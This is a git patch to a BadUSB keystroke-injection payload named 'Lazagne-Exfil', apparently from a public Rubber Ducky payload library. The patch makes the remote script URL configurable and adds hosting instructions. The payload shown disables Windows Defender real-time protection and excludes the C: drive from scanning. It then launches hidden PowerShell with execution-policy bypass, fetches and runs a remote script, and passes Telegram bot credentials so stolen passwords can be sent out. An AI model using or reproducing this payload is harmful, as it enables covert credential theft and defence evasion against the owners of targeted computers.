From 107bf5cf84614d2e1429a22fd82f5a61dc95a7c9 Mon Sep 17 00:00:00 2001 From: "Mr. Proxy" <80650301+Mr-Proxy-source@users.noreply.github.com> Date: Tue, 2 Jan 2024 22:49:28 +0100 Subject: [PATCH] Update payload.txt https://github.com/hak5/usbrubberducky-payloads?tab=readme-ov-file#staged-payloads --- payloads/library/exfiltration/Lazagne-Exfil/payload.txt | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/payloads/library/exfiltration/Lazagne-Exfil/payload.txt b/payloads/library/exfiltration/Lazagne-Exfil/payload.txt index 2a35987..6c7aceb 100644 --- a/payloads/library/exfiltration/Lazagne-Exfil/payload.txt +++ b/payloads/library/exfiltration/Lazagne-Exfil/payload.txt @@ -7,6 +7,10 @@ REM Version: 1.0 REM Category: Exfiltration REM Source: https://github.com/Mr-Proxy-source/BadUSB-Payloads +REM Remember you will have to host the powershell script yourself on any file sharing service (it has to be direct download link) +REM If you are using DropBox, just remember to change it from ?dl=0 top ?dl=1 +DEFINE SCRIPT_URL example.download.link/payload.ps1?dl=1 + REM Here you will have to put your telegram bot details DEFINE BOT_TOKEN your-bot-token DEFINE CHAT_ID your-chat-id @@ -14,7 +18,7 @@ DEFINE CHAT_ID your-chat-id DELAY 1500 GUI r DELAY 500 -STRING powershell.exe -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Add-MpPreference -ExclusionPath 'C:\'; Start-Sleep -Seconds 5; powershell -w h -NoP -Ep Bypass -Command '$bt='BOT_TOKEN'; $ci='CHAT_ID'; irm https://t.ly/-qlYd | iex'" +STRING powershell.exe -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Add-MpPreference -ExclusionPath 'C:\'; Start-Sleep -Seconds 5; powershell -w h -NoP -Ep Bypass -Command '$bt='BOT_TOKEN'; $ci='CHAT_ID'; irm SCRIPT_URL | iex'" CTRL-SHIFT ENTER DELAY 1000 ALT y